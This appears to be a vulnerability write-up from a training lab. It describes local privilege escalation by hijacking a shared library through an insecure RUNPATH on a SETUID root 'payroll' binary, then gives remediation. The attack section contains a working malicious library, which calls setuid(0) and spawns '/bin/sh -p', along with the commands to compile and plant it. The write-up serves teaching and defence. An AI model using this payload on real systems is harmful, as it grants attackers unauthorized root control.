

Technical Vulnerability Report

Vulnerability Type:	Shared Object Hijacking via RUNPATH Misconfiguration	Severity:	HIGH
Target Binary:	payroll (SETUID root)	Impact:	Local Privilege Escalation (LPE) to Root
Date:	June 25, 2026	Assessment Environment:	Linux (NIX02 / Ubuntu)

1. Executive Summary

During a local security assessment of the system environment, a critical security vulnerability was identified in a custom database application binary named `payroll`. The binary operates with elevated privileges via the SETUID permission bit owned by the `root` account. Due to an insecure compilation configuration, the binary prioritizes a globally writable directory (`/development`) when searching for its required shared dependencies.

A local, unprivileged attacker can exploit this misconfiguration to plant a malicious library file that intercepts standard binary calls, leading to arbitrary code execution within the context of the elevated process. This results in an immediate and full compromise of the system's administrative boundary (Local Privilege Escalation to `root`).

2. Technical Analysis: The "Why" and "How"

The "Why" (The Root Cause)

When an executable depends on dynamic or shared libraries (`.so` files), the dynamic linker/loader (`ld.so`) needs to resolve these dependencies at runtime. Linux binaries can embed a search path configuration directly inside their dynamic section known as `RUNPATH` or `RPATH`.

The core vulnerability stems from two co-existing misconfigurations:

- Insecure RUNPATH Mapping:** The `payroll` binary was compiled with an embedded `RUNPATH` pointing to `/development`. This instructs the system's dynamic linker to prioritize this directory over standard, secure library paths like `/lib` or `/usr/lib`.
- Weak Directory Permissions:** The `/development` directory is configured with globally permissive access controls (`drwxrwxrwx`), allowing any unprivileged user on the operating system to create, modify, or delete files inside it.

The "How" (The Mechanism of Exploitation)

The exploitation pathway maps precisely to standard Unix execution mechanics:

- **Binary Verification:** Inspection using `ls -la` confirms the SETUID bit (`-rwsr-xr-x`) is set, meaning the program will execute with the permissions of its owner (`root`), regardless of which user executes it.
- **Dependency Mapping:** Running `ldd payroll` highlights a non-standard dependency called `libshared.so` , which resolves directly to the vulnerable `/development/libshared.so` path.
- **Dynamic Inspection:** Using `readelf -d payroll | grep PATH` confirms the presence of the insecure runpath entry:

```
0x0000000000000001d (RUNPATH)          Library runpath: [/development]
```

- **Symbol Identification:** By copying a benign standard library (like `libc.so.6`) into the destination path, running the application forces a lookup error, revealing the exact function symbol expected by the program: `undefined symbol: dbquery` .
- **Code Injection:** By authoring a custom C source file implementing the missing `dbquery()` symbol, an attacker forces execution flow into a shell payout function. When compiled via GCC into `/development/libshared.so` , the linker prioritizes it, loads the malicious code as root, and invokes the payload.

3. Tactics, Techniques, and Procedures (TTPs)

The behavior identified aligns natively with the **MITRE ATT&CK Framework** under **Technique T1574.001: Hijack Execution Flow: Shared Modules**.

Step 1: Footprinting & Reconnaissance

Identify custom system binaries running with elevated root contexts and map their dependencies:

```
htb-student@NIX02:~$ ldd payroll
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
```

Step 2: Analysis of Search Path Order

Verify if the binary forces runtime evaluations to pull from a directory prone to local tampering:

```
htb-student@NIX02:~$ readelf -d payroll | grep PATH
0x0000000000000001d (RUNPATH)          Library runpath: [/development]
```

Step 3: Library Crafting and Privilege Escalation

The malicious library uses the `setuid(0)` API to explicitly match the real/effective UIDs to root before invoking an interactive privileged shell via `system("/bin/sh -p")` :

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
}
```

Compiling the payload with positioning flags replaces the original expected dependency structure:

```
gcc src.c -fPIC -shared -o /development/libshared.so
```

4. Remediation and Mitigation Guidelines

To permanently mitigate this risk and enforce secure software deployment practices, the following steps are strongly recommended:

1. Eliminate Broad Directory Access Controls (Immediate Fix)

Global write permissions (`777`) should never be assigned to production paths, especially those housing application binaries or dynamic objects. Restrict write access to administrative users only:

```
sudo chown root:root /development
sudo chmod 755 /development
```

2. Recompile Binaries to Utilize Secure Paths

Avoid relying on static custom root-level folders for operational scripts. Ensure shared assets are stored in verified operating system locations such as `/usr/local/lib`. When building compiled programs, omit broad hardcoded configurations or replace `RUNPATH` entirely with native system library tracking mechanisms.

3. Audit SETUID/SETGID Deployments

Regularly scan the system environment for binaries operating with the SETUID bit to verify that unneeded legacy assets do not present hidden risk vectors.

```
find / -perm -4000 -type f 2>/dev/null
```